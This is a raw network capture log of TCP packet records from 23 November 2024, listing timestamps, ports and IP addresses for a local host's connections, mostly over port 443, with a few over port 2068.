Nov 23, 2024 21:11:54.884044886 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.884064913 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.884089947 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.884104967 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.888076067 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.906919956 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.906965017 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.907013893 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.907032013 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.907059908 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.954447985 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:54.954473019 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:54.999686003 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:55.054431915 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:55.054553986 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:55.054738998 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:55.054863930 CET	49811	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:55.054888010 CET	443	49811	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.738588095 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.738831043 CET	49815	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:56.738850117 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.739160061 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.739450932 CET	49815	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:56.739509106 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.739569902 CET	49815	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:56.783335924 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.849541903 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.849853039 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:56.849898100 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.851130962 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.851437092 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:56.851588011 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:56.851618052 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:56.905905962 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:57.915132046 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:57.915227890 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:57.915399075 CET	49815	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:57.916126966 CET	49815	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:57.916157007 CET	443	49815	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:58.107578039 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:58.107640028 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:58.107647896 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:58.107681990 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:58.107759953 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:11:58.107881069 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:58.107881069 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:58.111211061 CET	49814	443	192.168.2.4	108.158.71.51
Nov 23, 2024 21:11:58.111236095 CET	443	49814	108.158.71.51	192.168.2.4
Nov 23, 2024 21:12:01.186656952 CET	2068	49798	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:01.186837912 CET	49798	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:01.577378988 CET	49798	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:01.677473068 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:01.678864956 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:01.678949118 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:01.679028988 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:01.679347038 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:01.679368973 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:01.701082945 CET	2068	49798	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:01.822982073 CET	2068	49816	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:01.823064089 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:01.853481054 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:02.002791882 CET	2068	49816	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:02.403248072 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:02.403327942 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:02.403395891 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:02.403803110 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:02.403815031 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:03.687567949 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:03.687690973 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:03.691621065 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:03.691652060 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:03.692065001 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:03.704291105 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:03.747338057 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.208244085 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.208278894 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.208297968 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.208426952 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.208444118 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.208507061 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.231844902 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:04.231973886 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:04.301450968 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:04.301480055 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:04.301888943 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:04.343605042 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:04.434947968 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:04.462667942 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.462688923 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.462713003 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.462747097 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.462763071 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.462784052 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.462804079 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.475331068 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:04.526679993 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.526702881 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.526765108 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.526771069 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.526807070 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.587785006 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.587807894 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.587855101 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.587862015 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.587904930 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.587920904 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.655020952 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.655045033 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.655086040 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.655093908 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.655144930 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.690875053 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.690901041 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.690963030 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.690969944 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.690994024 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.691009045 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.710745096 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.710767031 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.710880041 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.710887909 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.711044073 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.750351906 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.750371933 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.750416040 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.750422001 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.750443935 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.750458956 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.771822929 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.771842957 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.771918058 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.771924019 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.771954060 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.771969080 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.790648937 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.790671110 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.790710926 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.790716887 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.790740013 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.790756941 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.812011003 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.812052965 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.812089920 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.812107086 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.812122107 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.812213898 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.831547022 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.831573009 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.831645012 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.831650972 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.831692934 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.846770048 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.846793890 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.846863031 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.846868992 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.846918106 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.853126049 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.853190899 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.853195906 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.853236914 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.853277922 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.853302002 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.853321075 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.853321075 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.853331089 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.853341103 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.907211065 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.907260895 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.907530069 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.907561064 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.907608032 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.907716990 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.909231901 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.909274101 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.909341097 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.910453081 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.910463095 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.910610914 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.910629034 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.917169094 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.917187929 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.918072939 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.918107033 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.918158054 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.918217897 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.918236971 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.918358088 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.918417931 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.918423891 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:04.918490887 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:04.918504000 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:05.020721912 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.020759106 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.020768881 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.020785093 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.020845890 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.020875931 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.020895958 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.020908117 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.020908117 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.020967960 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.062500000 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.062570095 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.062653065 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.062664986 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.062680006 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.062685966 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.062721968 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.062861919 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.062876940 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:05.062889099 CET	49818	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:12:05.062894106 CET	443	49818	172.202.163.200	192.168.2.4
Nov 23, 2024 21:12:06.636091948 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.637778997 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.637819052 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.638264894 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.638269901 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.662369013 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.666807890 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.666807890 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.666826010 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.666842937 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.718857050 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.721796989 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.721822023 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.722268105 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.722271919 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.724428892 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.725595951 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.725601912 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.726010084 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.726013899 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.817951918 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.821852922 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.821873903 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:06.822287083 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:06.822294950 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.111362934 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.111546993 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.111612082 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.111933947 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.111953974 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.111965895 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.111974001 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.114914894 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.114963055 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.115031958 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.115179062 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.115190983 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.196578026 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.196652889 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.196700096 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.196876049 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.196892023 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.196902990 CET	49822	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.196909904 CET	443	49822	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.199834108 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.199882030 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.199949980 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.200079918 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.200089931 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.209073067 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.209093094 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.209167004 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.209170103 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.209213972 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.209441900 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.209461927 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.209474087 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.209479094 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.212359905 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.212400913 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.212477922 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.212658882 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.212678909 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.232913017 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.232996941 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.233050108 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.233062983 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.233192921 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.233243942 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.233292103 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.233302116 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.233335018 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.233340025 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.236093044 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.236140966 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.236219883 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.236404896 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.236414909 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.333838940 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.333873034 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.334053040 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.334073067 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.334120989 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.334348917 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.334358931 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.334378958 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.334606886 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.334650040 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.334692001 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.337152958 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.337208033 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:07.337279081 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.337413073 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:07.337426901 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:08.905498981 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:08.905953884 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:08.905985117 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:08.906534910 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:08.906541109 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.052412033 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.053036928 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.053103924 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.053494930 CET	49827	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.053510904 CET	443	49827	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.055953026 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.056261063 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.056271076 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.056637049 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.056643009 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.095274925 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.095973969 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.096009016 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.096487999 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.096497059 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.129956961 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.130465031 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.130511999 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.130888939 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.130897999 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.380017042 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.380075932 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.380148888 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.381733894 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.381755114 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.381771088 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.381777048 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:09.391741991 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:09.391783953 CET	443	49829	13.107.246.63	192.168.2.4
